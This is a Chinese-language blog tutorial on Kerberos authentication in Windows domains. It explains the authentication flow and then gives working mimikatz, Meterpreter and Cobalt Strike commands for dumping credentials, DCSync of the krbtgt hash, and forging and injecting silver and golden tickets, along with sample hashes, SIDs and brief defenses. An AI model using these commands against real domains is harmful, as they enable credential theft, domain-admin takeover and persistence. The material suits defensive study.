前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Kerberos基础入门

Kerberos基础入门

作者头像
Naraku
发布2022-02-03 15:56:46
1K0
发布2022-02-03 15:56:46
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

域认证角色

  • Kerberos认证的3个角色:
    • Client
    • Server
    • KDC(Key Distribution Center)分为两个部分:
      • AS(Authentication Server)认证服务器:为Client生成TGT的服务
      • TGS(Ticket Granting Server)票据授权服务器:为Client生成某个服务的Ticket
  • 验证过程中涉及到的两张票分别是:
代码语言:txt
复制
- TGT(Ticket Granting Ticket)票据授权票据
- ST(Service Ticket)服务票据AD(Account Database):存储所有Client的白名单,只有存在于白名单的Client才能顺利申请到TGT。

域认证流程

粗略流程

当Client想要访问Server上的某个服务时,需要先向AS证明自己的身份,然后通过AS发放的TGT向Server发起认证请求,这个过程分为三块:

  • Client -> KDC-ASClient使用 用户信息 向KDC中的AS发起KRB_AS_REQ请求,获取某Server服务的TGTKDC判断用户名是否在AD的白名单中,检查通过后返回KRB_AS_REP给Client
  • Client -> KDC-TGS:Client使用TGTKDC发起获取某Server服务的请求,TGS通过**TGT**判断Client是否有权限,有权限则返回服务票据Service Ticket和随机字符Session Key
代码语言:txt
复制
- TGT:黄金票据
代码语言:txt
复制
- Service Ticket:白银票据

详细流程

1-1、Client -> AS

  • KRB_AS_REQ:Client发送包含 用户信息 的明文到KDC的ASAS通过用户名判断是否存在于AD的白名单中,并根据用户名提取到对应的NTLM Hash
  • 用户信息包括Name/ID、服务ID、网络地址、合法TGT的请求生命周期等

1-2、AS -> Client

  • KRB_AS_REP:KDC生成一个随机字符串Session Key,使用NTLM Hash加密Session Key,作为AS;并使用krbtgtNTLM Hash加密Session Key和客户端的信息,生成TGT;最后将AS和TGT一起返回给Client
  • Client <= AS + TGT
代码语言:txt
复制
- `AS = Client-NTLM Hash(Session Key)`
- `TGT = Krbtgt-NTLM Hash(Sessin Key, Client-Info)` 
- `krbtgt`:每个域控制器都有一个`krbtgt`的用户账户,是KDC的服务账户

2-1、Client -> TGS

  • KRB_TGS_REQ:Client接收到后,先使用自己的NTLM Hash解密AS,得到Session Key;然后使用Session Key加密客户端信息和时间戳;最后将这些信息以及TGT一起发送给KDC,请求获取访问Server的权限。
代码语言:txt
复制
- `TGT + Session Key(Client-Info, Timestamp) => KDC`

2-2、TGS -> Client

  • KRB_TGS_REP:KDC解密TGT,提取出Session Key,再用Session Key解密得到其它信息并确认Client是否可信;然后生成一个新的随机字符串Server Session Key并用**Server Hash**加密生成一个票据**Ticket**,然后使用Session Key加密Server Session Key;最后一同返回给Client
代码语言:txt
复制
- `Client <= Ticket + Session Key(Server Session Key)`
- `Ticket = Server Hash(Server Session Key, Client-Info, End-Time)`
- `Session Key(Server Session Key)`
- `Server Hash`:这个Hash是服务器计算机的`NTLM Hash`

3、Client -> Server

  • KRB_AP_REQ:Client通过Session Key解密得到Server Session Key,并用其加密客户端信息和时间戳,与Service Ticket一同发送给Server

白银票据

Kerberos认证第3步中的Ticket

  • 特点:只需要目标服务的**NTLM Hash**,即Server Hash,就可以伪造一个不经过KDC认证的Ticket
代码语言:txt
复制
- `Ticket = Server Hash(Server Session Key, Client-Info, End-Time)`
- `Server Session Hash`在未发送`Ticket`之前,服务器是不知道`Server Session Key`是什么的。 所以一切凭据都来源于`Server Hash`伪造:白银票据需要目标服务器的Hash,因此不能生成对应域内所有服务器的票据,也不能通过TGT申请。因此只能针对服务器上的某些服务去伪造
代码语言:javascript
复制
# 导出Server Hash
$ mimikatz.exe "privilege::debug” "sekurlsa::logonpasswords" "exit" > log.txt

# 伪造票据
$ mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

$ kerberos::list  # 列出票据
$ kerberos::purge # 清除票据

服务注释

服务名

WMI

HOST、RPCSS

Powershell Remoteing

HOST、HTTP

WinRM

HOST、HTTP

Scheduled Tasks

LDAP

Windows File Share(CIFS)

CIFS

Windows Remote Server Administration Tools

RPCSS、LDAP、CIFS

  • 防御:
代码语言:txt
复制
- 尽量保证服务器凭证不被窃取
- 开启PAC(Privileged Attribute Certificate)特权属性证书保护功能。PAC主要是规定服务器将票据发送给Kerberos服务,由Kerberos服务来验证票据是否有效
代码语言:txt
复制
    - 开启方式:将注册表中`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters`中的`ValidateKdcPacSignature`设为`1`

黄金票据

Kerberos认证第2步中的TGT

简介

黄金票据可以在拥有普通域用户权限和KRBTGT账号Hash的情况下用来获取域管理员权限,已经获得域控system权限的情况下,还可以使用黄金票据做权限维持。当域控权限掉后,通过域内其他任意机器伪造票据重新获取最高权限。

  • 条件:
代码语言:txt
复制
- 需要与KDC通信
- 域SID
- 需要`krbtgt`用户的`NTLM Hash`,即`KDC Hash`

利用

CS
  • 在DC上Dump Hash,获得krbtgt用户的NTLM Hash
代码语言:javascript
复制
# krbtgt NTLM Hash
82dfc71b72a11ef37d663047bc2088fb
  • 获取SID
代码语言:javascript
复制
beacon> logonpasswords
# S-1-5-21-2756371121-2868759905-3853650604-500
  • 利用:右键WEB机 > Access > Golden Ticket
MSF
代码语言:javascript
复制
# MSF Kiwi
meterpreter> load kiwi
meterpreter> kerberos_ticket_list
# 伪造
meterpreter> golden_ticker_create -d <域名> -k <krbtgt_NTLM_Hash> -s <域SID> -u <任意用户名> -t <输出路径>
# 使用
meterpreter> kerberos_ticket_use <Ticket文件路径>

# Mimikatz
$ mimikatz "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<krbtgt_NTLM_Hash> /user:<任意用户名> /ptt" exit
  • 防御:
代码语言:txt
复制
- 经常更新`krbtgt`密码,使原有的票据失效
- 最根本的办法是不允许域管帐户登录其它服务器
Mimikatz
  • 首先通过远程桌面将mimikatz.exePsExec.exe上传到域控主机。
  • 通过PsExec提权为SYSTEM,然后执行mimikatz,输入命令
代码语言:javascript
复制
# 获取krbtgt的hash值。
lsadump::dcsync /user:krbtgt

kerberos::golden /admin:administrator /domain:ajie.cool /sid:S-1-5-21-3296092892-1320626564-2720975204 /krbtgt:31edc56a2302a25a2e9bee5f04abd659 /ticket:administrator.kiribi
  • 制作完票据之后,先尝试获取域控的c盘的权限发现拒绝访问。
代码语言:javascript
复制
# 清空票据缓存
kerberos::purge

# 列出票据,显示为空
kerberos::list

# 加载生成的票据
kerberos::ptt administrator.kiribi

# 再次访问域控

参考

版权属于:Naraku

本文链接:https://cloud.tencent.com/developer/article/1940368

本站所有原创文章均采用 知识共享署名-非商业-禁止演绎4.0国际许可证 。如需转载请务必注明出处并保留原文链接,谢谢~

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2022 年 02 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 域认证角色
  • 域认证流程
    • 粗略流程
      • 详细流程
      • 白银票据
      • 黄金票据
        • 简介
          • 利用
            • CS
            • MSF
            • Mimikatz
        • 参考
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档